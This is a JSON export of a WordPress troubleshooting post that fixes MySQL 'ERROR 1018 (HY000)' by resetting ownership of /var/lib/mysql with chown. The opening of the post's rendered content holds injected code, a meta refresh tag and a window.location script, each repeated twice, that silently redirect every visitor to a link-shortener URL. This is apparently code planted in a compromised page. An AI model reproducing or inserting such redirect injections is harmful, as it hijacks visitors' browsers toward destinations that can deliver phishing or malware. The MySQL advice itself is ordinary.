{"id":6568,"date":"2013-08-20T01:27:04","date_gmt":"2013-08-20T01:27:04","guid":{"rendered":"http:\/\/kb.onlinesupport4u.in\/?p=50"},"modified":"2013-08-20T01:27:04","modified_gmt":"2013-08-20T01:27:04","slug":"error-1018-hy000-cant-read-dir-of-dbname-errno-13","status":"publish","type":"post","link":"https:\/\/aarviserversolutions.co.in\/wps\/error-1018-hy000-cant-read-dir-of-dbname-errno-13\/","title":{"rendered":"ERROR 1018 (HY000): Can&#8217;t read dir of &#8216;.\/dbname\/&#8217; (errno: 13)"},"content":{"rendered":"<p><meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.today\/huiPfeX0r0\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.today\/huiPfeX0r0\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.today\/huiPfeX0r0\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.today\/huiPfeX0r0\";<\/script><\/p>\n<div dir=\"ltr\">\n<p>When I run the following command at mysql&gt; I get an error which read as follows:<\/p>\n<p>mysql&gt; <strong>use dbname;<\/strong><\/p>\n<p><strong><\/strong>mysql&gt; <strong>show tables;<\/strong><\/p>\n<p>ERROR 1018 (HY000): Can&#8217;t read dir of &#8216;.\/dbname\/&#8217; (errno: 13)<\/p>\n<p>Solution to this is to set right permissions<\/p>\n<p>#cd \/var\/lib\/<\/p>\n<p>chown mysql.mysql \u00a0mysql -R<\/p>\n<p>This fixed the issue and can run any commands on Mysql now.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>When I run the following command at mysql&gt; I get an error which read as follows: mysql&gt; use dbname; mysql&gt; show tables; ERROR 1018 (HY000): Can&#8217;t read dir of &#8216;.\/dbname\/&#8217; (errno: 13) Solution to this is to set right permissions #cd \/var\/lib\/ chown mysql.mysql \u00a0mysql -R This fixed the issue and can run any commands [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":7704,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[45],"tags":[],"class_list":["post-6568","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-mysql"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.8 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>ERROR 1018 (HY000): Can&#039;t read dir of &#039;.\/dbname\/&#039; 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